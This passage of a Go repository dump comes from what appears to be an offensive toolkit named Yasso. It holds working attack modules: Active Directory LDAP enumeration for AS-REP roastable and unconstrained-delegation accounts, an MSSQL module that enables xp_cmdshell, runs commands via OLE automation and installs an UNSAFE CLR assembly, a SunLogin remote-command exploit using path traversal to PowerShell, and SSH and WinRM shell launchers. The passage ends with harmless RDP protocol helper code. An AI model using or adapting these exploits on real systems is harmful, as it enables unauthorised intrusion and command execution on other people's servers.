77 | logger.Fatal(err.Error())
78 | }
79 | }
80 | if command == "users" && name != "" && filter != "membership" {
81 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
82 | logger.Fatal(err.Error())
83 | }
84 | }
85 | if command == "users" && name != "" && filter == "membership" {
86 | if err := LdapUserMemberShipResolver(t, conn, baseDN, name, command); err != nil {
87 | logger.Fatal(err.Error())
88 | }
89 | }
90 | if command == "computers" && filter == "list" && name == "" {
91 | if err := LdapListResolver(t, conn, baseDN, command); err != nil {
92 | logger.Fatal(err.Error())
93 | }
94 | }
95 | if command == "computers" && filter == "full-data" && name == "" {
96 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
97 | logger.Fatal(err.Error())
98 | }
99 | }
100 | if command == "computers" && name != "" {
101 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
102 | logger.Fatal(err.Error())
103 | }
104 | }
105 | if command == "groups" && filter == "list" && name == "" {
106 | if err := LdapListResolver(t, conn, baseDN, command); err != nil {
107 | logger.Fatal(err.Error())
108 | }
109 | }
110 | if command == "groups" && filter == "full-data" && name == "" {
111 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
112 | logger.Fatal(err.Error())
113 | }
114 | }
115 | if command == "groups" && name != "" && filter != "membership" {
116 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
117 | logger.Fatal(err.Error())
118 | }
119 | }
120 | if command == "groups" && filter == "membership" && name != "" {
121 | if err := LdapGroupResolver(t, conn, baseDN, name); err != nil {
122 | logger.Fatal(err.Error())
123 | }
124 | }
125 | if command == "dc" {
126 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
127 | logger.Fatal(err.Error())
128 | }
129 | }
130 | if command == "domain-trust" {
131 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
132 | logger.Fatal(err.Error())
133 | }
134 | }
135 | if command == "spn" && filter == "list" && name == "" {
136 | if err := LdapListResolver(t, conn, baseDN, command); err != nil {
137 | logger.Fatal(err.Error())
138 | }
139 | }
140 | if command == "spn" && filter == "full-data" && name == "" {
141 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
142 | logger.Fatal(err.Error())
143 | }
144 | }
145 | if command == "spn" && name != "" {
146 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
147 | logger.Fatal(err.Error())
148 | }
149 | }
150 | if command == "never-loggedon" && filter == "list" && name == "" {
151 | if err := LdapListResolver(t, conn, baseDN, command); err != nil {
152 | logger.Fatal(err.Error())
153 | }
154 | }
155 | if command == "gpo" && name == "" {
156 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
157 | logger.Fatal(err.Error())
158 | }
159 | }
160 | if command == "ou" && name == "" {
161 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
162 | logger.Fatal(err.Error())
163 | }
164 | }
165 | if command == "ms-sql" && filter == "list" && name == "" {
166 | if err := LdapListResolver(t, conn, baseDN, command); err != nil {
167 | logger.Fatal(err.Error())
168 | }
169 | }
170 | if command == "ms-sql" && filter == "full-data" && name == "" {
171 | if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
172 | logger.Fatal(err.Error())
173 | }
174 | }
175 | if command == "ms-sql" && name != "" {
176 | if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
177 | logger.Fatal(err.Error())
178 | }
179 | }
180 | if command == "asreproast" {
181 | if err := LdapListResolver(t, conn, baseDN, command); err != nil {
182 | logger.Fatal(err.Error())
183 | }
184 | }
185 | if command == "unconstrained" {
186 | if err := LdapListResolver(t, conn, baseDN, command); err != nil {
187 | logger.Fatal(err.Error())
188 | }
189 | }
190 | if command == "admin-priv" {
191 | if err := LdapListResolver(t, conn, baseDN, command); err != nil {
192 | logger.Fatal(err.Error())
193 | }
194 | }
195 | t.Render()
196 | return nil
197 | }
198 |
--------------------------------------------------------------------------------
/pkg/exploit/ldap/ldap.go:
--------------------------------------------------------------------------------
1 | package ldap
2 |
3 | import (
4 | "Yasso/pkg/exploit/ldap/core/query"
5 | "fmt"
6 | "strings"
7 | )
8 |
9 | // LdapAuthAndQuery ldap 认证并且查询目标
10 | // 设置参数 command , filter, user , password, dc host , name
11 | func LdapAuthAndQuery(ldapServer, ldapUser, ldapPassword, command, filter, name string, all bool) {
12 | s := strings.Split(ldapServer, ".")
13 | baseDN := ""
14 | for x := 1; x < len(s); x++ {
15 | if x == len(s)-1 {
16 | baseDN += "DC=" + s[x]
17 | } else {
18 | baseDN += "DC=" + s[x] + ","
19 | }
20 | }
21 | ldapServer = fmt.Sprintf("%s:389", ldapServer)
22 | query.LdapListQuery(ldapServer, ldapUser, ldapPassword, baseDN, command, filter, name, all)
23 | }
24 |
25 | func ListLdapCommand() {
26 | fmt.Println(" 可执行的查询命令")
27 | fmt.Println(" dc - 列出域控制器")
28 | fmt.Println(" domain-trust - 列出域信任关系")
29 | fmt.Println(" users - 列出域内全部用户")
30 | fmt.Println(" computers - 列出域内全部计算机")
31 | fmt.Println(" groups - 列出域内组和成员")
32 | fmt.Println(" spn - 列出服务的spn对象")
33 | fmt.Println(" never-loggedon - 列出域内从未登陆过的用户")
34 | fmt.Println(" gpo - 列出gpo规则对象")
35 | fmt.Println(" ou - 列出组织单位")
36 | fmt.Println(" ms-sql - 列出SQL Server服务(注册的)")
37 | fmt.Println(" asreproast - 列出AS-REP可托管账户")
38 | fmt.Println(" unconstrained - 列出不受约束委派的用户")
39 | fmt.Println(" admin-priv - 列出域内管理员权限组")
40 | fmt.Println(" 可执行的过滤器指令(users,groups,computers)")
41 | fmt.Println(" list - 仅仅列出全部对象")
42 | fmt.Println(" full-data - 列出全部对象带有对象属性")
43 | fmt.Println(" membership - 列出全部的成员从一个对象当中")
44 | }
45 |
--------------------------------------------------------------------------------
/pkg/exploit/mssql/mssql.go:
--------------------------------------------------------------------------------
1 | package mssql
2 |
3 | import (
4 | config2 "Yasso/config"
5 | "Yasso/core/logger"
6 | "Yasso/core/plugin"
7 | "Yasso/pkg/exploit/config"
8 | "database/sql"
9 | _ "embed"
10 | "fmt"
11 | "strconv"
12 | "time"
13 | )
14 |
15 | //go:embed static/SharpSQLKit.txt
16 | var SharpSQLKit string
17 |
18 | func ExploitMssql(exploits config.Exploits, method int, Command string) {
19 | var (
20 | conn = new(setting)
21 | )
22 | mssqlConn, status, err := plugin.MssqlConn(config2.ServiceConn{
23 | Hostname: exploits.Hostname,
24 | Port: exploits.Port,
25 | Timeout: 1000 * time.Millisecond,
26 | }, exploits.User, exploits.Pass)
27 | if status == false || err != nil {
28 | logger.Fatal("conn mssql failed")
29 | return
30 | }
31 |
32 | switch method {
33 | case 1:
34 | conn.Setting(mssqlConn)
35 | conn.xp_shell(Command)
36 | case 2:
37 | conn.Setting(mssqlConn)
38 | conn.sp_shell(Command)
39 | case 3:
40 | conn.Setting(mssqlConn)
41 | conn.Install_clr()
42 | case 4:
43 | conn.Setting(mssqlConn)
44 | conn.Uninstall_clr()
45 | default:
46 | logger.Fatal("not found mssql exploit method")
47 | return
48 | }
49 | }
50 |
51 | func (s *setting) Setting(conn *sql.DB) {
52 | s.Conn = conn
53 | }
54 |
55 | type setting struct {
56 | Conn *sql.DB
57 | Command string
58 | }
59 |
60 | func (s *setting) xp_shell(Command string) bool {
61 |
62 | if s.set_configuration("xp_cmdshell", 0) && !s.enable_xp_cmdshell() {
63 | return false
64 | }
65 | logger.Success(fmt.Sprintf("Command: %v", Command))
66 | var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command)
67 | r, err := config.SQLExecute(s.Conn, sqlstr)
68 | if err != nil {
69 | logger.Fatal(fmt.Sprintf("exec xp_cmdshell command failed %v", err))
70 | return false
71 | }
72 | for _, b := range r.Rows {
73 | fmt.Println(b[0])
74 | }
75 | return true
76 | }
77 |
78 | func (s *setting) sp_shell(Command string) bool {
79 | if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
80 | return false
81 | }
82 | var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
83 | exec sp_oacreate 'wscript.shell',@shell output
84 | exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
85 | exec sp_oamethod @exec, 'StdOut', @text out;
86 | exec sp_oamethod @text, 'ReadAll', @str out
87 | select @str`, Command)
88 | logger.Success(fmt.Sprintf("Command: %v", Command))
89 | r, err := config.SQLExecute(s.Conn, sqlstr)
90 | if err != nil {
91 | logger.Fatal(fmt.Sprintf("exec ole command failed %v", err))
92 | return false
93 | }
94 | for i, b := range r.Rows {
95 | fmt.Println(b[i])
96 | }
97 | return true
98 | }
99 |
100 | func (s *setting) Enable_ole() bool {
101 | if !s.set_configuration("show advanced options", 1) {
102 | logger.Fatal("cannot enable 'show advanced options'")
103 | return false
104 | }
105 | if !s.set_configuration("Ole Automation Procedures", 1) {
106 | logger.Fatal("cannot enable 'Ole Automation Procedures'")
107 | return false
108 | }
109 | return true
110 | }
111 |
112 | func (s *setting) check_configuration(option string, value int) bool {
113 | var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option)
114 | r, err := config.SQLExecute(s.Conn, Command)
115 | if err != nil {
116 | return false
117 | }
118 | if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
119 | return true
120 | }
121 | return false
122 | }
123 |
124 | func (s *setting) set_configuration(option string, value int) bool {
125 | // 设置
126 | var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value)
127 | _, err := config.SQLExecute(s.Conn, Command)
128 | if err != nil {
129 | return false
130 | }
131 | return s.check_configuration(option, value)
132 | }
133 |
134 | func (s *setting) set_permission_set() bool {
135 | var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
136 | logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON")
137 | _, err := config.SQLExecute(s.Conn, Command)
138 | if err != nil {
139 | logger.Fatal("ALTER DATABASE master SET TRUSTWORTHY ON Failed")
140 | return false
141 | }
142 | return true
143 | }
144 |
145 | func (s *setting) enable_xp_cmdshell() bool {
146 | if !s.set_configuration("show advanced options", 1) {
147 | logger.Fatal("cannot ebable 'show advanced options'")
148 | return false
149 | }
150 | if !s.set_configuration("xp_cmdshell", 1) {
151 | logger.Fatal("cannot enable 'xp_cmdshell'")
152 | return false
153 | }
154 | return true
155 | }
156 |
157 | func (s *setting) Install_clr() bool {
158 | if !s.set_permission_set() {
159 | return false
160 | }
161 | if !s.CREATE_ASSEMBLY() {
162 | return false
163 | }
164 | if !s.CREATE_PROCEDURE() {
165 | return false
166 | }
167 | logger.Info("Install SharpSQLKit successful!")
168 | logger.Info("Please Use SQL Connect Tools to Execute")
169 | return true
170 | }
171 |
172 | func (s *setting) CREATE_ASSEMBLY() bool {
173 | var KitHex string
174 | logger.Info("SQLKit ==> SharpSQLKit")
175 | KitHex = SharpSQLKit
176 | var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
177 | AUTHORIZATION [dbo]
178 | FROM 0x%s
179 | WITH PERMISSION_SET = UNSAFE;`, KitHex)
180 | _, err := config.SQLExecute(s.Conn, Command)
181 | if err != nil {
182 | logger.Fatal(fmt.Sprintf("Import the assembly failed %v", err))
183 | return false
184 | }
185 | logger.Info("Import the assembly")
186 | return true
187 | }
188 |
189 | func (s *setting) CREATE_PROCEDURE() bool {
190 | var Command string
191 | Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
192 | _, err := config.SQLExecute(s.Conn, Command)
193 | if err != nil {
194 | logger.Fatal(fmt.Sprintf("Link the assembly to a stored procedure failed %v", err))
195 | return false
196 | }
197 | logger.Info("Link the assembly to a stored procedure")
198 | return true
199 | }
200 |
201 | func (s *setting) Uninstall_clr() bool {
202 | var Command string
203 | logger.Info("SQLKit ==> SharpSQLKit")
204 | Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
205 | drop assembly CLR_module`)
206 | _, err := config.SQLExecute(s.Conn, Command)
207 | if err != nil {
208 | logger.Fatal(fmt.Sprintf("Uninstall SQLKit failed %v", err))
209 | return false
210 | }
211 | logger.Info("uninstall SQLKit successful!")
212 | return true
213 | }
214 |
--------------------------------------------------------------------------------
/pkg/exploit/redis/static/exp.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sairson/Yasso/af9e833f02488d89ce425b503d33707d821b2aab/pkg/exploit/redis/static/exp.so
--------------------------------------------------------------------------------
/pkg/exploit/ssh/ssh.go:
--------------------------------------------------------------------------------
1 | package ssh
2 |
3 | import (
4 | config2 "Yasso/config"
5 | "Yasso/core/logger"
6 | "Yasso/core/plugin"
7 | "Yasso/pkg/exploit/config"
8 | "fmt"
9 | "golang.org/x/crypto/ssh"
10 | "golang.org/x/crypto/ssh/terminal"
11 | "os"
12 | "time"
13 | )
14 |
15 | func ExploitSSH(exploits config.Exploits, key string) {
16 | var SshConn *ssh.Client
17 | var status bool
18 | var err error
19 | if key == "" {
20 | SshConn, status, err = plugin.SshConnByUser(config2.ServiceConn{
21 | Hostname: exploits.Hostname,
22 | Port: exploits.Port,
23 | Timeout: 1000 * time.Millisecond,
24 | }, exploits.User, exploits.Pass)
25 | } else {
26 | SshConn, status, err = plugin.SshConnByKey(config2.ServiceConn{
27 | Hostname: exploits.Hostname,
28 | Port: exploits.Port,
29 | Timeout: 1000 * time.Millisecond,
30 | PublicKey: key,
31 | }, exploits.User)
32 | }
33 | if err != nil || status == false {
34 | logger.Fatal("exploit ssh has an error conn to ssh failed")
35 | return
36 | }
37 | loginSSH(SshConn) // 连接到ssh
38 | }
39 |
40 | func loginSSH(client *ssh.Client) {
41 | defer client.Close()
42 | session, err := client.NewSession()
43 | if err != nil {
44 | logger.Fatal(fmt.Sprintf("new ssh session failed %v", err))
45 | return
46 | }
47 | defer session.Close()
48 | session.Stdout = os.Stdout
49 | session.Stderr = os.Stderr
50 | session.Stdin = os.Stdin
51 | modes := ssh.TerminalModes{
52 | ssh.ECHO: 1,
53 | ssh.TTY_OP_ISPEED: 14400,
54 | ssh.TTY_OP_OSPEED: 14400,
55 | ssh.VSTATUS: 1,
56 | }
57 | fd := int(os.Stdin.Fd())
58 | oldState, err := terminal.MakeRaw(fd)
59 | if err != nil {
60 | logger.Fatal(fmt.Sprintf("terminal failed %v", err))
61 | }
62 | defer terminal.Restore(fd, oldState)
63 | w, h, err := terminal.GetSize(fd)
64 | if err = session.RequestPty("xterm-256color", h, w, modes); err != nil {
65 | logger.Fatal(fmt.Sprintf("Session Request new xterm failed %v", err))
66 | return
67 | }
68 | if err = session.Shell(); err != nil {
69 | logger.Fatal(fmt.Sprintf("Session start shell failed %v", err))
70 | return
71 | }
72 | if err = session.Wait(); err != nil {
73 | logger.Fatal(fmt.Sprintf("Session wait failed %v", err))
74 | return
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/pkg/exploit/sunlogin/sunlogin.go:
--------------------------------------------------------------------------------
1 | package sunlogin
2 |
3 | import (
4 | "Yasso/core/logger"
5 | "Yasso/pkg/exploit/config"
6 | "fmt"
7 | "golang.org/x/text/encoding/simplifiedchinese"
8 | "io"
9 | "net/http"
10 | "net/url"
11 | "regexp"
12 | "time"
13 | )
14 |
15 | func ExploitSunLogin(exploits config.Exploits, Command string) {
16 | addr := fmt.Sprintf("%v:%v", exploits.Hostname, exploits.Port)
17 | verify := getVerify(addr)
18 | if Command != "" {
19 | re := runCmd(Command, addr, verify)
20 | if re == "" {
21 | logger.Fatal(fmt.Sprintf("exploit %s failed", addr))
22 | return
23 | } else {
24 | logger.Info(re)
25 | }
26 | } else {
27 | logger.Fatal("exploit need command params")
28 | return
29 | }
30 | }
31 |
32 | func getVerify(addr string) string { //获取Verify认证
33 | resp, err := http.Get(fmt.Sprintf("http://%s/cgi-bin/rpc?action=verify-haras", addr))
34 | if err != nil {
35 | return ""
36 | }
37 | b, _ := io.ReadAll(resp.Body)
38 | reg := regexp.MustCompile(`"verify_string":"(.*?)"`)
39 | result := reg.FindAllSubmatch(b, 1)
40 | if len(result) > 0 {
41 | if len(result[0]) == 2 {
42 | return string(result[0][1])
43 | }
44 | }
45 | return ""
46 | }
47 | func runCmd(cmd string, addr string, verify string) string {
48 | cmd = url.QueryEscape(cmd)
49 | target := "http://" + addr + `/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+` + cmd
50 | req, err := http.NewRequest("GET", target, nil)
51 | if err != nil {
52 | return ""
53 | }
54 | req.Header.Add("Cookie", "CID="+verify)
55 | var client = http.DefaultClient
56 | client.Timeout = 5 * time.Second
57 | resp, _ := client.Do(req)
58 | if err != nil || resp == nil {
59 | return ""
60 | } else {
61 | str, _ := io.ReadAll(resp.Body)
62 | str, _ = simplifiedchinese.GBK.NewDecoder().Bytes(str)
63 | //fmt.Println(string(str))
64 | return string(str)
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/pkg/exploit/sunlogin/sunlogin_test.go:
--------------------------------------------------------------------------------
1 | package sunlogin
2 |
3 | import (
4 | "Yasso/pkg/exploit/config"
5 | "testing"
6 | )
7 |
8 | func Test(t *testing.T) {
9 | ExploitSunLogin(config.Exploits{
10 | Hostname: "192.168.248.1",
11 | Port: 49690,
12 | User: "",
13 | Pass: "",
14 | }, "whoami")
15 |
16 | }
17 |
--------------------------------------------------------------------------------
/pkg/exploit/winrm/winrm.go:
--------------------------------------------------------------------------------
1 | package winrm
2 |
3 | import (
4 | config2 "Yasso/config"
5 | "Yasso/core/logger"
6 | "Yasso/core/plugin"
7 | "Yasso/pkg/exploit/config"
8 | "fmt"
9 | "github.com/masterzen/winrm"
10 | "io"
11 | "os"
12 | "time"
13 | )
14 |
15 | func ExploitWinRM(exploits config.Exploits, Command string, isShell int) {
16 | WinRMConn, status, err := plugin.WinRMAuth(config2.ServiceConn{
17 | Hostname: exploits.Hostname,
18 | Port: exploits.Port,
19 | Timeout: 1000 * time.Millisecond,
20 | }, exploits.User, exploits.Pass)
21 |
22 | if err != nil || status == false {
23 | return
24 | }
25 | switch isShell {
26 | case 1:
27 | WinRMShell(WinRMConn, Command, false)
28 | case 2:
29 | WinRMShell(WinRMConn, Command, true)
30 | default:
31 | logger.Fatal("not found exploit method")
32 | return
33 | }
34 | }
35 |
36 | func WinRMShell(client *winrm.Client, Command string, shell bool) {
37 | if shell == true {
38 | shell, err := client.CreateShell()
39 | if err != nil {
40 | logger.Fatal(fmt.Sprintf("create shell failed %v", err))
41 | return
42 | }
43 | var cmd *winrm.Command
44 | cmd, err = shell.Execute("cmd.exe")
45 | if err != nil {
46 | logger.Fatal(fmt.Sprintf("[!] create shell failed %v", err))
47 | return
48 | }
49 |
50 | go io.Copy(cmd.Stdin, os.Stdin)
51 | go io.Copy(os.Stdout, cmd.Stdout)
52 | go io.Copy(os.Stderr, cmd.Stderr)
53 | cmd.Wait()
54 | shell.Close()
55 | } else {
56 | _, err := client.Run(Command, os.Stdout, os.Stderr)
57 | if err != nil {
58 | logger.Fatal(fmt.Sprintf("[!] Execute Command failed %v", err))
59 | return
60 | }
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/pkg/grdp/README.md:
--------------------------------------------------------------------------------
1 | # Golang Remote Desktop Protocol
2 |
3 | grdp is a pure Golang implementation of the Microsoft RDP (Remote Desktop Protocol) protocol (**client side authorization only**).
4 |
5 | Forked from icodeface/grdp
6 |
7 | ## Status
8 |
9 | **The project is under development and not finished yet.**
10 |
11 | * [x] Standard RDP Authentication
12 | * [x] SSL Authentication
13 | * [x] NTLMv2 Authentication
14 | * [ ] Client UI(ugly)
15 | * [ ] VNC client(unfinished)
16 |
17 | ## Example
18 |
19 | 1. build in example dir on linux or windows
20 | 2. start example on port 8088
21 | 3. http://localhost:8088
22 |
23 | ## Take ideas from
24 |
25 | * [rdpy](https://github.com/citronneur/rdpy)
26 | * [node-rdpjs](https://github.com/citronneur/node-rdpjs)
27 | * [gordp](https://github.com/Madnikulin50/gordp)
28 | * [ncrack_rdp](https://github.com/nmap/ncrack/blob/master/modules/ncrack_rdp.cc)
29 | * [webRDP](https://github.com/Chorder/webRDP)
--------------------------------------------------------------------------------
/pkg/grdp/core/io.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "encoding/binary"
5 | "io"
6 | )
7 |
8 | type ReadBytesComplete func(result []byte, err error)
9 |
10 | func StartReadBytes(len int, r io.Reader, cb ReadBytesComplete) {
11 | b := make([]byte, len)
12 | go func() {
13 | _, err := io.ReadFull(r, b)
14 | //glog.Debug("StartReadBytes Get", n, "Bytes:", hex.EncodeToString(b))
15 | cb(b, err)
16 | }()
17 | }
18 |
19 | func ReadBytes(len int, r io.Reader) ([]byte, error) {
20 | b := make([]byte, len)
21 | length, err := io.ReadFull(r, b)
22 | return b[:length], err
23 | }
24 |
25 | func ReadByte(r io.Reader) (byte, error) {
26 | b, err := ReadBytes(1, r)
27 | return b[0], err
28 | }
29 |
30 | func ReadUInt8(r io.Reader) (uint8, error) {
31 | b, err := ReadBytes(1, r)
32 | return uint8(b[0]), err
33 | }
34 |
35 | func ReadUint16LE(r io.Reader) (uint16, error) {
36 | b := make([]byte, 2)
37 | _, err := io.ReadFull(r, b)
38 | if err != nil {
39 | return 0, nil
40 | }
41 | return binary.LittleEndian.Uint16(b), nil
42 | }
43 |
44 | func ReadUint16BE(r io.Reader) (uint16, error) {
45 | b := make([]byte, 2)
46 | _, err := io.ReadFull(r, b)
47 | if err != nil {
48 | return 0, nil
49 | }
50 | return binary.BigEndian.Uint16(b), nil
51 | }
52 |
53 | func ReadUInt32LE(r io.Reader) (uint32, error) {
54 | b := make([]byte, 4)
55 | _, err := io.ReadFull(r, b)
56 | if err != nil {
57 | return 0, nil
58 | }
59 | return binary.LittleEndian.Uint32(b), nil
60 | }
61 |
62 | func ReadUInt32BE(r io.Reader) (uint32, error) {
63 | b := make([]byte, 4)
64 | _, err := io.ReadFull(r, b)
65 | if err != nil {
66 | return 0, nil
67 | }
68 | return binary.BigEndian.Uint32(b), nil
69 | }
70 |
71 | func WriteByte(data byte, w io.Writer) (int, error) {
72 | b := make([]byte, 1)
73 | b[0] = byte(data)
74 | return w.Write(b)
75 | }
76 |
77 | func WriteBytes(data []byte, w io.Writer) (int, error) {
78 | return w.Write(data)
79 | }
80 |
81 | func WriteUInt8(data uint8, w io.Writer) (int, error) {
82 | b := make([]byte, 1)
83 | b[0] = byte(data)
84 | return w.Write(b)
85 | }
86 |
87 | func WriteUInt16BE(data uint16, w io.Writer) (int, error) {
88 | b := make([]byte, 2)
89 | binary.BigEndian.PutUint16(b, data)
90 | return w.Write(b)
91 | }
92 |
93 | func WriteUInt16LE(data uint16, w io.Writer) (int, error) {
94 | b := make([]byte, 2)
95 | binary.LittleEndian.PutUint16(b, data)
96 | return w.Write(b)
97 | }
98 |
99 | func WriteUInt32LE(data uint32, w io.Writer) (int, error) {
100 | b := make([]byte, 4)
101 | binary.LittleEndian.PutUint32(b, data)
102 | return w.Write(b)
103 | }
104 |
105 | func WriteUInt32BE(data uint32, w io.Writer) (int, error) {
106 | b := make([]byte, 4)
107 | binary.BigEndian.PutUint32(b, data)
108 | return w.Write(b)
109 | }
110 |
111 | func PutUint16BE(data uint16) (uint8, uint8) {
112 | b := make([]byte, 2)
113 | binary.BigEndian.PutUint16(b, data)
114 | return uint8(b[0]), uint8(b[1])
115 | }
116 |
117 | func Uint16BE(d0, d1 uint8) uint16 {
118 | b := make([]byte, 2)
119 | b[0] = d0
120 | b[1] = d1
121 |
122 | return binary.BigEndian.Uint16(b)
123 | }
124 |
125 | func RGB565ToRGB(data uint16) (r, g, b uint8) {
126 | r = uint8(uint32(data&0xF800)>>11) << 3
127 | g = uint8(uint32(data&0x07E0)>>5) << 2
128 | b = uint8(uint32(data&0x001F)) << 3
129 |
130 | return
131 | }
132 |
--------------------------------------------------------------------------------
/pkg/grdp/core/io_test.go:
--------------------------------------------------------------------------------
1 | package core_test
2 |
3 | import (
4 | "bytes"
5 | "encoding/hex"
6 | "testing"
7 |
8 | "Yasso/pkg/grdp/core"
9 | )
10 |
11 | func TestWriteUInt16LE(t *testing.T) {
12 | buff := &bytes.Buffer{}
13 | core.WriteUInt32LE(66538, buff)
14 | result := hex.EncodeToString(buff.Bytes())
15 | expected := "ea030100"
16 | if result != expected {
17 | t.Error(result, "not equals to", expected)
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/pkg/grdp/core/rle_test.go:
--------------------------------------------------------------------------------
1 | // rle_test.go
2 | package core
3 |
4 | //func TestSum() {
5 | // input := []byte{
6 | // 192, 44, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8, 0, 19, 132, 232, 8, 12, 50, 142, 66, 77, 58, 208, 59, 225, 25, 1, 0, 0, 0, 0, 0, 0, 0, 132, 139, 33, 142, 66, 142, 66, 142, 66, 208, 59, 4, 43, 1, 0, 0, 0, 0, 0, 0, 0, 132, 203, 41, 142, 66, 142, 66, 142, 66, 208, 59, 96, 0, 1, 0, 0, 0, 0, 0, 0, 0, 132, 9, 17, 142, 66, 142, 66, 142, 66, 208, 59, 230, 27, 1, 0, 0, 0, 0, 0, 0, 0, 132, 200, 8, 9, 17, 139, 33, 74, 25, 243, 133, 14, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8,
7 | // }
8 | // out := decompress(input, 64, 64, 2)
9 | // fmt.Println(out)
10 | //}
11 |
--------------------------------------------------------------------------------
/pkg/grdp/core/socket.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "crypto/rsa"
5 | "math/big"
6 |
7 | "github.com/huin/asn1ber"
8 |
9 | //"crypto/tls"
10 | "errors"
11 | "net"
12 |
13 | "github.com/icodeface/tls"
14 | )
15 |
16 | type SocketLayer struct {
17 | conn net.Conn
18 | tlsConn *tls.Conn
19 | }
20 |
21 | func NewSocketLayer(conn net.Conn) *SocketLayer {
22 | l := &SocketLayer{
23 | conn: conn,
24 | tlsConn: nil,
25 | }
26 | return l
27 | }
28 |
29 | func (s *SocketLayer) Read(b []byte) (n int, err error) {
30 | if s.tlsConn != nil {
31 | return s.tlsConn.Read(b)
32 | }
33 | return s.conn.Read(b)
34 | }
35 |
36 | func (s *SocketLayer) Write(b []byte) (n int, err error) {
37 | if s.tlsConn != nil {
38 | return s.tlsConn.Write(b)
39 | }
40 | return s.conn.Write(b)
41 | }
42 |
43 | func (s *SocketLayer) Close() error {
44 | if s.tlsConn != nil {
45 | err := s.tlsConn.Close()
46 | if err != nil {
47 | return err
48 | }
49 | }
50 | return s.conn.Close()
51 | }
52 |
53 | func (s *SocketLayer) StartTLS() error {
54 | config := &tls.Config{
55 | InsecureSkipVerify: true,
56 | MinVersion: tls.VersionTLS10,
57 | MaxVersion: tls.VersionTLS13,
58 | PreferServerCipherSuites: true,
59 | }
60 | s.tlsConn = tls.Client(s.conn, config)
61 | return s.tlsConn.Handshake()
62 | }
63 |
64 | type PublicKey struct {
65 | N *big.Int `asn1:"explicit,tag:0"` // modulus
66 | E int `asn1:"explicit,tag:1"` // public exponent
67 | }
68 |
69 | func (s *SocketLayer) TlsPubKey() ([]byte, error) {
70 | if s.tlsConn == nil {
71 | return nil, errors.New("TLS conn does not exist")
72 | }
73 | pub := s.tlsConn.ConnectionState().PeerCertificates[0].PublicKey.(*rsa.PublicKey)
74 | return asn1ber.Marshal(*pub)
75 | }
76 |
--------------------------------------------------------------------------------
/pkg/grdp/core/types.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import "Yasso/pkg/grdp/emission"
4 |
5 | type Transport interface {
6 | Read(b []byte) (n int, err error)
7 | Write(b []byte) (n int, err error)
8 | Close() error
9 |
10 | On(event, listener interface{}) *emission.Emitter
11 | Once(event, listener interface{}) *emission.Emitter
12 | Emit(event interface{}, arguments ...interface{}) *emission.Emitter
13 | }
14 |
15 | type FastPathListener interface {
16 | RecvFastPath(secFlag byte, s []byte)
17 | }
18 |
19 | type FastPathSender interface {
20 | SendFastPath(secFlag byte, s []byte) (int, error)
21 | }
22 |
--------------------------------------------------------------------------------
/pkg/grdp/core/util.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "crypto/rand"
5 | "encoding/binary"
6 | "unicode/utf16"
7 | )
8 |
9 | func Reverse(s []byte) []byte {
10 | for i, j := 0, len(s)-1; i < j; i, j = i+1, j-1 {
11 | s[i], s[j] = s[j], s[i]
12 | }
13 | return s
14 | }
15 |
16 | func Random(n int) []byte {
17 | const alpha = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
18 | var bytes = make([]byte, n)
19 | rand.Read(bytes)
20 | for i, b := range bytes {
21 | bytes[i] = alpha[b%byte(len(alpha))]
22 | }
23 | return bytes
24 | }
25 |
26 | func convertUTF16ToLittleEndianBytes(u []uint16) []byte {
27 | b := make([]byte, 2*len(u))
28 | for index, value := range u {
29 | binary.LittleEndian.PutUint16(b[index*2:], value)
30 | }
31 | return b
32 | }
33 |
34 | // s.encode('utf-16le')
35 | func UnicodeEncode(p string) []byte {
36 | return convertUTF16ToLittleEndianBytes(utf16.Encode([]rune(p)))
37 | }
38 |
39 | func UnicodeDecode(p []byte) string {
40 | b := make([]byte, 2)
41 | n := make([]uint16, 0, len(p)/2)
42 | for i, v := range p {
43 | if i%2 == 0 {
44 | b[0] = v
45 | } else {
46 | b[1] = v
47 | a := binary.LittleEndian.Uint16(b)
48 | n = append(n, a)
49 | }
